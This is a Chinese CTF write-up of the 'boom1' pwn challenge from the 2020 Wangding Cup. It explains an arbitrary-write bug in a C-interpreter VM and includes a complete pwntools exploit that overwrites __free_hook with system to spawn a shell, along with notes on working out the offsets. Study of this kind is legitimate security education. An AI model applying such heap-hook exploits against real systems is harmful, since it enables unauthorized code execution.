0%

网鼎杯2020青龙组的复现(pwn部分)

网鼎杯?难(P)顶(Y)杯!

两个vm一个盲打,看到题目👴气得浑身发抖,大热天的全身冷汗,手脚冰凉,这个社会还能不能好了,👴到底要怎样才能签上到,眼泪不争气的流了下来。这比赛到处充斥着对👴的压迫,堆栈题目什么时候才能真正的再次站起来?

boom1

这题,vm题。估计出题人从网上扒了c4源码然后删删改改成了一道题目。(听说本题坑点在于小版本libc,但是当时👴没做出来,就本地复现一下(ubuntu16))

本题关键在于开始的malloc区域过大,是mmap出的空间与libc相邻,导致存在地址任意写。

另外就是,有限制只可以调用一次系统调用,所以本题思路大致两个:

  • 首先就是地址任意写+一次系统调用getshell,这里方法很多,比如改free_hook或malloc_hook为system,改exit_hook为one_gadget等等。

  • 另一个思路就是改变系统调用次数,然后就可以放飞自我得到flag。

这里我利用得是地址任意写+改free_hook为system后free(‘/bin/sh’)。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level='debug'
#p = remote("182.92.73.10", 24573)
p=process('./pwn')
p.recvuntil('ing...\n')

#calc这里我开始计算偏移的时候拿0x7f40076f1018算的,实际上应该拿0x00007f40076f1010
#s-free_hook=0x148870=1345648
#s-system=0x4c9c88=5020808
#1345648/8=168206
#5020808/8=627601

#利用0x00007f40076f1010计算的偏移
#1345640/8=168205
#5020800/8=627600

payload='''char *s;int main(){s="1p0ch";*(&s-168205)=&s-627600;free("/bin/sh");}'''
#printf(&s);
#gdb.attach(p)
#pause()
p.sendline(payload)
#addr=u64(p.recv(6).ljust(8,'\x00'))
#print(hex(addr))
p.interactive()

可以看到,实际上我们的payload只有一句话,但是计算偏移花费了👴几个小时。

首先,要明确一点,就是这个&s-1中的1到底是多少:

1
2
3
4
5
6
#payload='''char *s;int main(){s="1p0ch";*(&s+4)=&s-1;printf(&(s));}'''
'''
0x7f40076f1008: 0x0000000000041002 0x00007f40076f1018(&s)
0x7f40076f1018: 0x0000006863307031('1p0ch') 0x0000000000000000
0x7f40076f1028: 0x0000000000000000 0x00007f40076f1008(&s+4)[&s-1]
'''

这里的(&s-1)中的1实际上是8*1,所以注意计算最后偏移的时候要除以8

这里的指针主要是

1
0x00007f40076f1010-->0x00007f40076f1018-->'1p0ch'

我们使用printf(&(s))打印出来的地址是0x00007f40076f1018,但是利用地址任意写时候的&s实际上是0x00007f40076f1010,所以这里计算到free_hook和system的偏移的时候,注意利用0x00007f40076f1010来计算。

然后看一下我们payload中的*(&s-168205)=&s-627600;

实际上就是改写free_hook为system的地址,168205是到free_hook偏移,627600是到system的偏移。

改写后可以发现free_hook以及变成system的地址,然后执行free('/bin/sh');实际上就是system('/bin/sh');

好饿啊,早知道不学安全了